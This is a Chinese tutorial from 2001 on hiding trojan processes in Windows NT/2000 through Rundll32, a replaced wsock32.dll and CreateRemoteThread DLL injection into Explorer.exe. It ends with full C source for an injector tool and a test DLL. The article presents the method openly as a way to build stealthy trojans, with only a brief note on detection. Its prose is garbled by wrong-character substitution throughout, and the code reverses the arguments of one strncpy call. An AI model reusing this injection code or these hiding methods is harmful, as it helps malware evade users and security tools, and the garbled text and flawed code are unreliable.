副标题#e#
在WIN9X中,只需要将历程注册为系统处事就可以或许从历程查察器中隐形,但是这一切在WINNT中却完全差异,无论木马从端口、启动文件上如何巧妙地埋没本身,始终都不能欺骗WINNT的任务打点器,以至于许多的伴侣问我:在WINNT下莫非木马真的再也无法埋没本身的历程了?本文试图通过探讨WINNT中木马的几种常用埋没历程手段,给各人展现木马/后门措施在WINNT中历程埋没的要领和查找的途径。
我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个配合点,会生成一个独立的历程,查找特定历程是我们发明木马的主要要领之一(无论手动照旧防火墙),跟着入侵检测软件的不绝成长,关联历程和SOCKET已经成为风行的技能(譬喻著名的FPort就可以或许检测出任何历程打开的TCP/UDP端口),假设一个木马在运行时被检测软件同时查出端口和历程,我们根基上认为这个木马的埋没已经完全失败(操作心理因素而非技妙手段欺骗用户的木马不在我们的接头范畴之内)。在NT下正常环境用户历程对付系统打点员来说都是可见的,要想做到木马的历程埋没,有两个步伐,第一是让系统打点员看不见(可能视而不见)你的历程;第二是不利用历程。
看不见历程的要领就是举办历程欺骗,为了相识如何能使历程看不见,我们首先要相识奈何能看得见历程:在Windows中有多种要领可以或许看到历程的存在:PSAPI(Process Status API),PDH(Performance Data Helper),ToolHelp API,假如我们可以或许欺骗用户或入侵检测软件用来查察历程的函数(譬喻截获相应的API挪用,替换返回的数据),我们就完全能实现历程埋没,可是一来我们并不知道用户/入侵检测软件利用的是什么要领来查察历程列表,二来假如我们有权限和技能实现这样的欺骗,我们就必然能利用其它的要领更容易的实现历程的埋没。
第二种要领是不利用历程,不利用历程利用什么?为了弄大白这个问题,我们必需要先相识Windows系统的另一种“可执行文件”—-DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基本,因为所有的API函数都是在DLL中实现的。DLL文件没有措施逻辑,是由多个成果函数组成,它并不能独立运行,一般都是由历程加载并挪用的。(你你你,你方才不是说不消历程了?)别急呀,听我逐步道来:因为DLL文件不能独立运行,所以在历程列表中并不会呈现DLL,假设我们编写了一个木马DLL,而且通过此外历程来运行它,那么无论是入侵检测软件照旧历程列表中,都只会呈现谁人历程而并不会呈现木马DLL,假如谁人历程是可信历程,(譬喻资源打点器Explorer.exe,没人会猜疑它是木马吧?)那么我们编写的DLL作为谁人历程的一部门,也将成为被信赖的一员而为所欲为。
运行DLL文件最简朴的要领是操作Rundll32.exe,Rundll/Rundll32是Windows自带的动态链接库东西,可以用来在呼吁行下执动作态链接库中的某个函数,个中Rundll是16位而Rundll32是32位的(别离挪用16位和32位的DLL文件),Rundll32的利用要领如下:
Rundll32.exe DllFileName FuncName
譬喻我们编写了一个MyDll.dll,这个动态链接库中界说了一个MyFunc的函数,那么,我们通过Rundll32.exe MyDll.dll MyFunc就可以执行MyFunc函数的成果。
如何运行DLL文件和木马历程的埋没有什么干系么?虽然有了,假设我们在MyFunc函数中实现了木马的成果,那么我们不就可以通过Rundll32来运行这个木马了么?在系统打点员看来,历程列表中增加的是Rundll32.exe而并不是木马文件,这样也算是木马的一种浅易欺骗和自我掩护要领(至少你不能去把Rundll32.exe删掉吧?)
利用Rundll32的要领举办历程埋没是浅易的,很是容易被识破。(固然杀起来会贫苦一点)较量高级的要领是利用特洛伊DLL,特洛伊DLL的事情道理是替换常用的DLL文件,将正常的挪用转发给原DLL,截获并处理惩罚特定的动静。譬喻,我们知道WINDOWS的Socket 1.x的函数都是存放在wsock32.dll中的,那么我们本身写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重定名为wsockold.dll)我们的wsock32.dll只做两件事,一是假如碰着不认识的挪用,就直接转发给wsockold.dll(利用函数转发器forward);二是碰着非凡的请求(事先约定的)就解码并处理惩罚。这样理论上只要木马编写者通过SOCKET长途输入必然的灯号,就可以节制wsock32.dll(木马DLL)做任何操纵。特洛伊DLL技能是较量陈腐的技能,因此微软也对此做了相当的防御,在Win2K的system32目次下有一个dllcache的目次,这个目次中存放着大量的DLL文件(也包罗一些重要的exe文件),这个是微软用来掩护DLL的瑰宝,一旦操纵系统发明被掩护的DLL文件被改动(数字签名技能),它就会自动从dllcache中规复这个文件。固然说先变动dllcache目次中的备份再修改DLL文件自己可以绕过这个掩护,可是可以想见的是微软在将来必将越发小心地掩护重要的DLL文件,同时特洛伊DLL要领自己有着一些裂痕(譬喻修复安装、安装补丁、查抄数字签名等要领都有大概导致特洛伊DLL失效),所以这个要领也不能算是DLL木马的最优选择。
#p#分页标题#e#
DLL木马的最高地步是动态嵌入技能,动态嵌入技能指的是将本身的代码嵌入正在运行的历程中的技能。理论上来说,在Windows中的每个历程都有本身的私有内存空间,此外历程是不答允对这个私有空间举办操纵的(私人领地、请勿入内),可是实际上,我们仍然可以操作各种要领进入并操纵历程的私有内存。在多种动态嵌入技能中(窗口Hook、挂接API、长途线程),我最喜欢的是长途线程技能(其实、其实我就会这一种……),下面就为各人先容一下长途线程技能。
长途线程技能指的是通过在另一个运行的历程中建设长途线程的要领进入谁人线程的内存地点空间。我们知道,在历程中,可以通过CreateThread函数建设线程,被建设的新线程与主线程(就是历程建设时被同时自动成立的谁人线程)共享地点空间以及其他的资源。可是很少有人知道,通过CreateRemoteThread也同样可以在另一个历程内建设新线程,被建设的长途线程同样可以共享长途历程(留意:是长途历程!)的地点空间,所以,实际上,我们通过建设一个长途线程,进入了长途历程的内存地点空间,也就拥有了谁人长途历程相当多的权限:譬喻启动一个DLL木马(与进入历程内部对比,启动一个DLL木马是小意思,实际上我们可以随意改动谁人历程的数据)
闲话少说,我们来看代码:
首先,我们通过OpenProcess 来打开我们试图嵌入的历程(假如不答允打开,那么嵌入就无法举办了,这往往是由于权限不足引起的,譬喻你试图打开一个受系统掩护的历程)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //答允长途建设线程
PROCESS_VM_OPERATION | //答允长途VM操纵
PROCESS_VM_WRITE, //答允长途VM写
FALSE, dwRemoteProcessId );
#p#副标题#e#
由于我们后头需要写入长途历程的内存地点空间并成立长途线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以成立LoadLibraryW这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中界说的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),可是由于木马DLL是在长途历程内挪用的,所以我们首先还需要将这个文件名复制到长途地点空间:(不然长途线程读不到这个参数)
//计较DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//利用VirtualAllocEx函数在长途历程的内存地点空间分派DLL文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
//利用WriteProcessMemory函数将DLL的路径名复制到长途历程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//计较LoadLibraryW的进口地点
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
说明一下,上面我们计较的其实是本身这个历程内LoadLibraryW的进口地点,可是因为kernel.dll模块在所有历程内的地点都是沟通的(属于内核模块),所以这个进口地点同样合用于长途历程。
OK,万事俱备,我们通过成立长途线程时的地点pfnStartAddr(实际上就是LoadLibraryW的进口地点)和通报的参数pszLibFileRemote(我们复制到长途历程内存空间的木马DLL的全路径文件名)在长途历程内启动我们的木马DLL:
//启动长途线程LoadLibraryW,通过长途线程挪用用户的DLL文件
hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的长途历程
NULL, 0,
pfnStartAddr, //LoadLibraryW的进口地点
pszLibFileRemote, //木马DLL的全路径文件名
0, NULL);
至此,长途嵌入顺利完成,为了试验我们的DLL是不是已经正常的在长途线程运行,我编写了以下的测试DLL,这个DLL什么都不做,仅仅返回地址历程的PID:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{ char * szProcessId = (char *)malloc(10*sizeof(char));
switch (reason){
case DLL_PROCESS_ATTACH:{
//获取并显示当前历程ID
_itoa(GetCurrentProcessId(), szProcessId, 10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
}
default:
return TRUE;
}
}
#p#分页标题#e#
当我利用RmtDll.exe措施将这个TestDLL.dll嵌入Explorer.exe历程后(PID=1208),该测试DLL弹出了1208字样简直认框,证明TestDLL.dll已经在Explorer.exe历程内正确地运行了。(木马已经成为Explorer.exe的一部门)
DLL木马的查找:查找DLL木马的根基思路是扩展历程列表至内存模块列表,内存模块列表将显示每个历程今朝加载/挪用的所有DLL文件,通过这种要领,我们能发明异常的DLL文件(前提是你对所有历程需要挪用的模块都很熟悉,天哪,这险些是没有大概的事,要知道随便哪个历程城市挪用十七八个DLL文件,而Windows更是由数以千计的DLL所构成的,谁能知道哪个有用哪个没用?)对此,我写了一个内存模块查察软件,在http://www.patching.net/shotgun/ps.zip可以下载,该软件利用PSAPI,假如是NT4.0,需要PSAPI.dll的支持,所以我把PSAPI.dll也放在了压缩包里。
进一步想想,用长途线程技能启动木马DLL照旧较量有迹可寻的,假如事先将一段代码复制进长途历程的内存空间,然后通过长途线程起动这段代码,那么,纵然遍历历程内存模块也无济于事;可能长途线程切入某个原本就需要举办SOCKET操纵的历程(如iExplorer.exe),对函数挪用或数据举办某些有针对的修改……这样的木马并不需要本身打初步口,代码也只是存在于内存中,可以说如羚羊挂角,无迹可寻。
无论是利用特洛伊DLL照旧利用长途线程,都是让木马的焦点代码运行于此外历程的内存空间,这样不只能很好地埋没本身,也能更好的掩护本身。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不只欺骗、进入你的计较机,甚至进入了用户历程的内部,从某种意义上说,这种木马已经具备了病毒的许多特性,譬喻埋没和寄生(和宿主同生共死),假如有一天,呈现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感想奇怪,倒会疑问这一天为什么这么迟才到来。
附录:操作长途线程技能嵌入历程的模子源码:
/////////////////////////////////////////////////////////////////////////////////////////////// //
// Remote DLL For Win2K by Shotgun //
// This Program can inject a DLL into Remote Process //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Email: [[email protected]] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
// USAGE: //
// RmtDLL.exe PID[|ProcessName] DLLFullPathName //
// Example: //
// RmtDLL.exe 1024 C:\WINNT\System32\MyDLL.dll //
// RmtDLL.exe Explorer.exe C:\MyDLL.dll //
// //
///////////////////////////////////////////////////////////////////////////////////////////////
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
#include<psapi.h>
DWORD ProcessToPID( char *); //将历程名转换为PID的函数
void CheckError ( int, int, char *); //堕落处理惩罚函数
void usage ( char *); //利用说明函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//处理惩罚呼吁行参数
if (argc!=3) usage("Parametes number incorrect!");
else{
//假如输入的是历程名,则转化为PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判定输入的DLL文件名是否是绝对路径
if(strstr(argv[2],":\\")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
{ //取恰当前目次,将相对路径转换成绝对路径
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "\\");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName:\n\t%s\n\n",
lpDllFullPathName);
}
//判定DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操纵参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d\n", argv[1], dwRemoteProcessId);
}
//打开长途历程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //答允建设线程
PROCESS_VM_OPERATION | //答允VM操纵
PROCESS_VM_WRITE, //答允VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计较DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到长途历程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计较LoadLibraryW的进口地点
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动长途线程,通过长途线程挪用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//期待长途线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理惩罚
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main()
//将历程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";
// 计较今朝有几多历程, aProcesses[]用来存放有效的历程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的历程
for ( i = 0; i < cProcesses; i++ )
{
// 打开特定PID的历程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的历程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的历程名与输入的历程名较量,如沟通则返回历程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的历程名,返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID
//错误处理惩罚函数CheckError()
//假如iReturnCode便是iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理惩罚
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()
//利用要领说明函数usage()
void usage(char * pErrorMsg)
{
printf("%s\n\n",pErrorMsg);
printf("\t\tRemote Process DLL by Shotgun\n");
printf("\tThis program can inject a DLL into remote process\n");
printf("Email:\n");
printf("\[email protected]\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n");
printf("\tRmtDLL.exe PID[|ProcessName] DLLFullPathName\n");
printf("Example:\n");
printf("\tRmtDLL.exe 1024 C:\\WINNT\\System32\\MyDLL.dll\n");
printf("\tRmtDLL.exe Explorer.exe C:\\MyDLL.dll\n");
exit(0);
}//end of usage()